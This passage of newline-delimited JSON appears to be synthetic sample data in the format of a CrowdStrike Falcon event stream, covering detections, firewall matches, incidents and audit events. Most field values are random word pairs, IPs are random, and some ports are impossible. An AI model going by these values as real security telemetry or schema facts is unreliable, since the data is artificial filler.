true,"SuspendParent": true},"ParentImageFileName": "myliterature","ParentCommandLine": "hisbeauty","GrandparentImageFileName": "condemnedrain","GrandparentCommandLine": "fewcovey","HostGroups": "hergroup","AssociatedFile": "sufficientcompany","PatternId": -2136295940}} +{"metadata": {"customerIDString": "thesenecklace","offset": 499490277,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "eachson","DetectName": "over thereanswer","DetectDescription": "toy child determination deceit imagination leap part problem unemployment itanger","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/anythingteam?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 29,"SeverityName": "Low","Tactic": "everyoneidea","Technique": "itpark","Objective": "thisstaff","SourceAccountDomain": "impossiblebunch","SourceAccountName": "thatgroup","SourceAccountObjectSid": "hisbevy","SourceEndpointAccountObjectGuid": "eagerdream","SourceEndpointAccountObjectSid": "Britishdream","SourceEndpointHostName": "Romanheap","SourceEndpointIpAddress": "43.168.13.71","SourceEndpointSensorId": "heregalaxy","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "a littleanimal","PatternId": -989308898}} +{"metadata": {"customerIDString": "herbowl","offset": 2014670838,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "whylove","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\wherearmy","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "person week dynasty crew stand forest scold wisp patience clothing anthology book child rainbow body thereposse","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Cambodianriches?_cid=xxxxxxx","FileName": "somecaptain","FilePath": "fewmob\\somecaptain","FilesAccessed": [{"FileName": "somecaptain","FilePath": "fewmob\\somecaptain","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "somecaptain","FilePath": "fewmob\\somecaptain","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\therenest","GrandParentImageFileName": "whichjustice","GrandParentImageFilePath": "Swisssister\\whichjustice","HostGroups": "Intelligentkoala","Hostname": "allhatred","LocalIP": "154.204.32.239","LocalIPv6": "53.135.178.55","LogonDomain": "hereseafood","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "halfgoodness","Name": "thesehelp","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 2076137131,"ConnectionDirection": 1,"IsIPV6": false,"LocalAddress": "28.212.21.213","LocalPort": 25122,"Protocol": "thesemurder","RemoteAddress": "199.51.196.161","RemotePort": 4758}],"Objective": "Somalicovey","ParentCommandLine": "C:\\Windows\\obnoxiousline\\insufficientdisregard","ParentImageFileName": "insufficientdisregard","ParentImageFilePath": "famousman\\insufficientdisregard","ParentProcessId": -1602500269,"PatternDispositionDescription": "year exaltation army pain theater wad nature pair leisure gang tribe leisure church pen crew host packet comb stress crowd regiment air Thatcheritetomatoes","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": false,"Indicator": false,"KillActionFailed": false,"KillParent": false,"KillProcess": true,"KillSubProcess": true,"OperationBlocked": true,"PolicyDisabled": true,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": true,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": true},"PatternDispositionValue": -1207066680,"PatternId": -21302995,"PlatformId": "anythingchair","PlatformName": "Mac","ProcessEndTime": 677326050,"ProcessId": 1009504147,"ProcessStartTime": -861205713,"ReferrerUrl": "herecomfort","SHA1String": "hilariousparty","SHA256String": "outstandingbody","Severity": 22,"SeverityName": "Critical","SourceProducts": "nobodyaccommodation","SourceVendors": "herhospital","Tactic": "myinformation","Technique": "mykindness","Type": "ldt","UserName": "Californiantroop"}} +{"metadata": {"customerIDString": "nonegroup","offset": -1235253501,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "a little bitway","UserIp": "43.136.128.121","OperationName": "confirmResetPassword","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "ittribe","ValueString": "somehorde"}],"Attributes": {"actor_cid": "itpoint","actor_user": "hiscollection","actor_user_uuid": "howdishonesty","app_id": "itreel","saml_assertion": "nichetrip","target_user": "tastyheap","trace_id": "wholeweight"}}} +{"metadata": {"customerIDString": "greatfiction","offset": -169473232,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "everybodyjoy","HostnameField": "hugehotel","UserName": "mostadult","StartTimestamp": 1582830734,"AgentIdString": "therepatrol"}} +{"metadata": {"customerIDString": "itfleet","offset": 1446616657,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "mygalaxy","Region": "us-west-1","ResourceId": "attractiveluck","ResourceIdType": "howzebra","ResourceName": "myline","ResourceCreateTime": 0,"PolicyStatement": "whybale","PolicyId": -240473013,"Severity": 85,"SeverityName": "High","CloudPlatform": "whatcovey","CloudService": "filthyroom (space)","Disposition": "Passed","ResourceUrl": "whypod","Finding": "hisstack","Tags": [{"Key": "wheretroop","ValueString": "handsomethrill"}],"ReportUrl": "itchycompany","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "thoseunion","offset": -442409568,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "defianttrend","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\Beethovenianair","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "IoT","Description": "task team education week kindness host oil candle cravat school pair cluster unemployment bunch cackle anger corner exaltation tea itjoy","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/wideharvest?_cid=xxxxxxx","FileName": "itsold age","FilePath": "thereshock\\itsold age","FilesAccessed": [{"FileName": "itsold age","FilePath": "thereshock\\itsold age","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "itsold age","FilePath": "thereshock\\itsold age","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\whichfact","GrandParentImageFileName": "outrageousboard","GrandParentImageFilePath": "somebodybelief\\outrageousboard","HostGroups": "anyonecomfort","Hostname": "whatleap","LocalIP": "106.87.193.55","LocalIPv6": "135.202.91.150","LogonDomain": "anyonestack","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "Bahamianart","Name": "charmingpoverty","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -579867327,"ConnectionDirection": 0,"IsIPV6": true,"LocalAddress": "118.47.108.223","LocalPort": 42729,"Protocol": "herecloud","RemoteAddress": "192.115.25.70","RemotePort": 80597}],"Objective": "a little bitwork","ParentCommandLine": "C:\\Windows\\anyonepatrol\\thankfulgovernor","ParentImageFileName": "thankfulgovernor","ParentImageFilePath": "onenumber\\thankfulgovernor","ParentProcessId": 274159899,"PatternDispositionDescription": "boat pack monkey chair scale board person pod baby nature battery eye costume xylophone kilometer comb field group fruit bale government lightgroup","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": true,"Indicator": true,"KillActionFailed": true,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": true,"PolicyDisabled": true,"ProcessBlocked": true,"QuarantineFile": true,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": false,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": true},"PatternDispositionValue": -266493756,"PatternId": -1496995766,"PlatformId": "whosewalk","PlatformName": "Windows","ProcessEndTime": 949063399,"ProcessId": 462479544,"ProcessStartTime": 1027612118,"ReferrerUrl": "Sudanesefrailty","SHA1String": "Americanwisdom","SHA256String": "theresalt","Severity": 92,"SeverityName": "Low","SourceProducts": "severalmustering","SourceVendors": "thisschool","Tactic": "everybodycrew","Technique": "whattroop","Type": "ofp","UserName": "Cambodianblock"}} +{"metadata": {"customerIDString": "yourbunch","offset": -1445144308,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "theremob","CustomerId": "jealouscity","Ipv": "189.25.15.207","CommandLine": "Salvadoreangovernment","ConnectionDirection": "2","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": false,"Log": true,"Monitor": false},"HostName": "whatgroup","ICMPCode": "Mayanunderstanding","ICMPType": "glamorousbody","ImageFileName": "inquiringbale","LocalAddress": "126.227.89.91","LocalPort": "13770","MatchCount": -674428234,"MatchCountSinceLastReport": 926315771,"NetworkProfile": "Confucianawareness","PID": "526892878","PolicyName": "itschoir","PolicyID": "lots ofisland","Protocol": "thereegg","RemoteAddress": "162.85.15.1","RemotePort": "18866","RuleAction": "Africanability","RuleDescription": "bank cup crew bunch news deceit stream myfinger","RuleFamilyID": "Diabolicalfailure","RuleGroupName": "outstandingcollection","RuleName": "everyonegang","RuleId": "littlegroup","Status": "adventurouspen","Timestamp": 1751371830,"TreeID": "shychoir"}} +{"metadata": {"customerIDString": "Ecuadoriansand","offset": -63618596,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "doubleocean","State": "open","FineScore": 3.6197896386230197,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "severalbush","HostID": "everythingsoup","LMHostIDs": ["myplate"],"UserId": "itfoot"}} +{"metadata": {"customerIDString": "manycompany","offset": 587068461,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "howfrog","DetectName": "whoseday","DetectDescription": "brother shopping soup class gown forest infancy butter place set way cat hospitality research group cave plan anthology wildlife growth hand company reel greatcase","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/myweek?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 96,"SeverityName": "Medium","Tactic": "a little bitmuster","Technique": "goodbale","Objective": "herwarmth","SourceAccountDomain": "thishedge","SourceAccountName": "somelife","SourceAccountObjectSid": "Welshsuccess","SourceEndpointAccountObjectGuid": "hundredslife","SourceEndpointAccountObjectSid": "itregiment","SourceEndpointHostName": "whatparty","SourceEndpointIpAddress": "52.174.142.116","SourceEndpointSensorId": "greatfreedom","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "whyband","PatternId": -384760931}} +{"metadata": {"customerIDString": "wanderingwisp","offset": 1714490954,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "whichtribe","DataDomains": "IoT","Description": "air dishonesty giraffe battery tribe company sandwich hisdisregard","DetectId": "yourfoot","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "44.4.68.26","HostNames": "theirbelt","Name": "Cormoranbaby","PatternId": 547399691,"Severity": 93,"SourceProducts": "howteam","SourceVendors": "Antarcticenvy","StartTimeEpoch": 1643317697728000000,"TacticIds": "mushycase","Tactics": "sparsehost","TechniqueIds": "Salvadoreanpart","Techniques": "whosehealth","XdrType": "xdr-scheduled-search" } }} +{"metadata": {"customerIDString": "Thatcheritecrew","offset": 1085973968,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "wanderingviolence","CustomerId": "thoseenvy","Ipv": "69.44.183.72","CommandLine": "happywisp","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": false,"Monitor": false},"HostName": "terribletrip","ICMPCode": "vastkilometer","ICMPType": "sleepyquiver","ImageFileName": "somebodygeneration","LocalAddress": "236.54.178.96","LocalPort": "70344","MatchCount": -587424769,"MatchCountSinceLastReport": -657920173,"NetworkProfile": "onegrowth","PID": "1898217853","PolicyName": "relievedidea","PolicyID": "eitherfrailty","Protocol": "whytroop","RemoteAddress": "164.218.254.92","RemotePort": "27780","RuleAction": "a littlehorde","RuleDescription": "group life horror problem toothpaste motherhood theirreel","RuleFamilyID": "yourbale","RuleGroupName": "ashamedcatalog","RuleName": "manyleap","RuleId": "howisland","Status": "thereline","Timestamp": 1751371830,"TreeID": "significantgun"}} +{"metadata": {"customerIDString": "over theredeceit","offset": -1122233875,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "whichmurder","UserIp": "5.239.236.14","OperationName": "requestResetPassword","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "Taiwaneseloneliness","ValueString": "wherereligion"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "thisfinger"}}} +{"metadata": {"customerIDString": "a lotcleverness","offset": -2048442,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Intelligentpatrol","Region": "us-east-1","ResourceId": "Burmeseexaltation","ResourceIdType": "nobodycity","ResourceName": "allelegance","ResourceCreateTime": 0,"PolicyStatement": "fewboard","PolicyId": -512706245,"Severity": 43,"SeverityName": "High","CloudPlatform": "obedientchest","CloudService": "mything","Disposition": "Passed","ResourceUrl": "itswork","Finding": "Uzbekart","Tags": [{"Key": "obnoxiousparty","ValueString": "greendress"}],"ReportUrl": "whosetrip","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "mybread","offset": -1325604589,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "onewit","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\whathill","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "skyscraper dog magic riches team ring man outfit cloud comfort driver razor confusion party howstand","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/so fewgroup?_cid=xxxxxxx","FileName": "anyonecompany","FilePath": "sparsesister\\anyonecompany","FilesAccessed": [{"FileName": "anyonecompany","FilePath": "sparsesister\\anyonecompany","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "anyonecompany","FilePath": "sparsesister\\anyonecompany","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\whatgalaxy","GrandParentImageFileName": "whatharvest","GrandParentImageFilePath": "over therecaravan\\whatharvest","HostGroups": "mychaise longue","Hostname": "therelife","LocalIP": "45.92.61.58","LocalIPv6": "172.181.169.171","LogonDomain": "purplearmy","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "howart","Name": "whichtime","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1143479247,"ConnectionDirection": 2,"IsIPV6": false,"LocalAddress": "173.85.118.189","LocalPort": 67424,"Protocol": "whyspeed","RemoteAddress": "164.12.64.92","RemotePort": 51877}],"Objective": "somebodydoor","ParentCommandLine": "C:\\Windows\\Taiwanesecovey\\someonejob","ParentImageFileName": "someonejob","ParentImageFilePath": "nobodygenerosity\\someonejob","ParentProcessId": -2129072122,"PatternDispositionDescription": "cap clump band hatred regiment government numerouskilometer","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": false,"Indicator": true,"KillActionFailed": true,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": true,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": false},"PatternDispositionValue": -88302655,"PatternId": 1951890639,"PlatformId": "somebodyhand","PlatformName": "Linux","ProcessEndTime": 1642637292,"ProcessId": -1893228872,"ProcessStartTime": -383749688,"ReferrerUrl": "everythingpoverty","SHA1String": "adventurousgoal","SHA256String": "awfulream","Severity": 73,"SeverityName": "Critical","SourceProducts": "ourtribe","SourceVendors": "theseteam","Tactic": "whatlie","Technique": "anythinghail","Type": "ofp","UserName": "whyharm"}} +{"metadata": {"customerIDString": "somebuilding","offset": -640891942,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "Sudanesestand","MobileDetectionId": -1943071553,"ComputerName": "singlecast","UserName": "yourschool","ContextTimeStamp": 1649061056,"DetectId": "ourwildlife","DetectName": "wherethought","DetectDescription": "frailparty","Tactic": "mygoal","TacticId": "wherefact","Technique": "herpumpkin","TechniqueId": "itsman","Objective": "ourdesktop","Severity": 30,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/eachsafety?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "longteacher","AndroidAppLabel": "thoseclass","DexFileHashes": "Atlantichappiness","ImageFileName": "somebodything","AppInstallerInformation": "theirgang","IsBeingDebugged": false,"AndroidAppVersionName": "itsteam","IsContainerized": false}]}} +{"metadata": {"customerIDString": "Cypriotbread","offset": -1789071430,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "ourjudge","PolicyId": -1418080276,"PolicyStatement": "itspunctuation","CloudProvider": "plenty ofscold","CloudService": "eachworld","Severity": 96,"SeverityName": "Informational","EventAction": "whoseriches","EventSource": "neitherstack","EventCreatedTimestamp": 1663011160,"UserId": "myriches","UserName": "herhorror","UserSourceIp": "51.74.60.182","Tactic": "over therefailure","Technique": "Chineseusage"}} +{"metadata": {"customerIDString": "thistask","offset": 2049273134,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "nuttygame","DataDomains": "Endpoint","Description": "happiness fruit cloud love murder party gun lack cookware assistance group adult board range chest nap kitchen eageroutfit","DetectId": "Plutoniantalent","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "150.143.106.85","HostNames": "greatstupidity","Name": "Japanesepoverty","PatternId": -1543856490,"Severity": 20,"SourceProducts": "noneproblem","SourceVendors": "itrhythm","StartTimeEpoch": 1643317697728000000,"TacticIds": "uninterestedprogress","Tactics": "whichteam","TechniqueIds": "enough ofhand","Techniques": "hundredsprogram","XdrType": "xdr-scheduled-search" } }} +{"metadata": {"customerIDString": "Sri-Lankansister","offset": 94661833,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "uninterestedclump","State": "open","FineScore": 1.1544780716192304,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "elatedplane","HostID": "theirrelaxation","LMHostIDs": ["hundrednest"],"UserId": "whypencil"}} +{"metadata": {"customerIDString": "whosesheaf","offset": 213989202,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "Viennesewolf","State": "open","FineScore": 6.011567877739499,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "Machiavellianharvest","HostID": "allveterinarian","LMHostIDs": ["Cambodianhand"],"UserId": "healthypack"}} +{"metadata": {"customerIDString": "thereclump","offset": -1822867553,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "tendercleverness","HostnameField": "thathandle","UserName": "thesestand","StartTimestamp": 1582830734,"AgentIdString": "hisbale"}} +{"metadata": {"customerIDString": "ourboard","offset": 2116235252,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "thatbody","UserIp": "214.111.169.238","OperationName": "revokeCustomerSubscriptions","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "giftedengine","ValueString": "ourhedge"}],"Attributes": {"actor_cid": "wherekindness","actor_user": "whosecrowd","actor_user_uuid": "thoselife","app_id": "someonemotivation","saml_assertion": "thattroupe","target_user": "fewbucket","trace_id": "herenap"}}} +{"metadata": {"customerIDString": "whyline","offset": -2034480940,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "Dutchpart","CustomerId": "howsafety","Ipv": "50.148.47.27","CommandLine": "yourturtle","ConnectionDirection": "1","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": true,"Log": false,"Monitor": true},"HostName": "insufficientclump","ICMPCode": "itcorruption","ICMPType": "halfcackle","ImageFileName": "everythingharvest","LocalAddress": "141.153.83.70","LocalPort": "2082","MatchCount": -5800360,"MatchCountSinceLastReport": -43465211,"NetworkProfile": "mytroop","PID": "-1531454840","PolicyName": "disgustingregiment","PolicyID": "repulsiveproblem","Protocol": "emptyson","RemoteAddress": "15.239.102.156","RemotePort": "43616","RuleAction": "itgoal","RuleDescription": "mob company film wherepoint","RuleFamilyID": "Japanesedetective","RuleGroupName": "herejustice","RuleName": "manycompany","RuleId": "onebook","Status": "fewsleep","Timestamp": 1751371830,"TreeID": "itsbody"}} +{"metadata": {"customerIDString": "stormyweek","offset": 1178256658,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "onescooter","State": "closed","FineScore": 6.661966415825172,"LateralMovement": 0,"IncidentType": 2,"IncidentID": "hereleggings","HostID": "whereteam","LMHostIDs": ["Diabolicalbasket"],"UserId": "whosehat"}} +{"metadata": {"customerIDString": "whichadvice","offset": -1321765314,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "howhand","UserIp": "24.249.233.17","OperationName": "revokeCustomerSubscriptions","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "everyonefun","ValueString": "fewbucket"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "thoseperson"}}} +{"metadata": {"customerIDString": "Greeklibrary","offset": -1336259380,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "hisbale","HostnameField": "nobodyclump","UserName": "Honduranman","StartTimestamp": 1582830734,"AgentIdString": "enough ofshorts"}} +{"metadata": {"customerIDString": "Intelligentbattery","offset": -1299002360,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "thoseteam","DetectName": "theretroop","DetectDescription": "ship publicity grandmother food cello love cleverness week scold bill group window caravan packet ship tunnel damage cluster warmth vehicle leap group thesefood","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/yourtalent?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 7,"SeverityName": "Informational","Tactic": "thesepicture","Technique": "heavilydesk","Objective": "Elizabethanyouth","SourceAccountDomain": "eachline","SourceAccountName": "hurtgenetics","SourceAccountObjectSid": "happysedge","SourceEndpointAccountObjectGuid": "arrogantcare","SourceEndpointAccountObjectSid": "youroven","SourceEndpointHostName": "thereman","SourceEndpointIpAddress": "177.220.103.253","SourceEndpointSensorId": "Bahamianbrace","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "a littleimagination","PatternId": -2212633}} +{"metadata": {"customerIDString": "substantialstring","offset": -1609727149,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "someoneoutfit","DataDomains": "Endpoint","Description": "table bag person goal blender problem world exaltation muster carpet confusion loss day horror neithercandle","DetectId": "foolishbale","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "218.24.83.17","HostNames": "openregiment","Name": "whichwildlife","PatternId": -201104283,"Severity": 98,"SourceProducts": "lightperson","SourceVendors": "neithermurder","StartTimeEpoch": 1643317697728000000,"TacticIds": "histroop","Tactics": "bluetrip","TechniqueIds": "howcheeks","Techniques": "ourunemployment","XdrType": "xdr" } }} +{"metadata": {"customerIDString": "heavycloud","offset": 868105962,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "over theremilk","IncidentDescription": "slavery government host choker shower bunch company regiment stand whichyard","Severity": 16,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "improvisedgossip","UserName": "somebodycackle","EndpointName": "Afghandynasty","EndpointIp": "41.168.27.245","Category": "Detections","NumbersOfAlerts": 1873325904,"NumberOfCompromisedEntities": -1046634522,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Greekenvy?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "over theregovernment","offset": -1380987013,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "significantbravery","UserID": "Brazilianbale","ExecutionID": "cleverclass","ReportID": "cleanmovement","ReportName": "Machiavellianweather","ReportType": "theirvest","ReportFileReference": "Sammarineseweek","Status": "whereschool","StatusMessage": "herebasket","ExecutionMetadata": {"ExecutionStart": 1277318902,"ExecutionDuration": 791041518,"ReportFileName": "somebodytroupe","ResultCount": 1109023433,"ResultID": "over therecollection","SearchWindowStart": 1830057893,"SearchWindowEnd": 485142157}}} +{"metadata": {"customerIDString": "helpfulblock","offset": -1146299184,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "severalday","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\couplecinema","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "IoT","Description": "bird shower tribe gas station block stairs zebra patience invention stand mybouquet","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whypeace?_cid=xxxxxxx","FileName": "muddyrange","FilePath": "hundredseye\\muddyrange","FilesAccessed": [{"FileName": "muddyrange","FilePath": "hundredseye\\muddyrange","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "muddyrange","FilePath": "hundredseye\\muddyrange","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\anythingfashion","GrandParentImageFileName": "itsbeach","GrandParentImageFilePath": "itpack\\itsbeach","HostGroups": "over theregun","Hostname": "hisadult","LocalIP": "98.65.93.34","LocalIPv6": "103.114.225.5","LogonDomain": "Balinesecovey","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "Barcelonianboat","Name": "thatdelay","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1626519218,"ConnectionDirection": 1,"IsIPV6": true,"LocalAddress": "59.176.64.182","LocalPort": 87240,"Protocol": "itscoldness","RemoteAddress": "237.220.236.246","RemotePort": 58766}],"Objective": "whatchild","ParentCommandLine": "C:\\Windows\\terribleplace\\neithertime","ParentImageFileName": "neithertime","ParentImageFilePath": "numerousbrace\\neithertime","ParentProcessId": -1069921836,"PatternDispositionDescription": "board host pod nose crowd club envy sand growth help day week crowd way vest eye forest team computer divorce game whosecalm","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": true,"ContainmentFileSystem": true,"CriticalProcessDisabled": false,"Detect": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": true,"Indicator": true,"KillActionFailed": false,"KillParent": true,"KillProcess": false,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": true,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": false},"PatternDispositionValue": -1278685248,"PatternId": 1360594552,"PlatformId": "thoseocean","PlatformName": "Linux","ProcessEndTime": 961474645,"ProcessId": -884132110,"ProcessStartTime": -505508776,"ReferrerUrl": "thesepunctuation","SHA1String": "thatposse","SHA256String": "herechild","Severity": 73,"SeverityName": "Critical","SourceProducts": "troublingmob","SourceVendors": "Koreanregiment","Tactic": "hergoodness","Technique": "theirline","Type": "ofp","UserName": "fraildisregard"}} +{"metadata": {"customerIDString": "whyhumour","offset": -1741697306,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "ournose","PolicyId": -958451065,"PolicyStatement": "Vietnamesetroop","CloudProvider": "thesemurder","CloudService": "mypart","Severity": 31,"SeverityName": "Low","EventAction": "ourcourage","EventSource": "thathost","EventCreatedTimestamp": 1663011160,"UserId": "howleap","UserName": "Russianrice","UserSourceIp": "121.5.115.211","Tactic": "nobodydisregard","Technique": "eachyouth"}} +{"metadata": {"customerIDString": "whathand","offset": 1933866810,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "ourlife","IncidentDescription": "juice board dolphin hishail","Severity": 26,"SeverityName": "Medium","StartTime": 1686891836383,"EndTime": 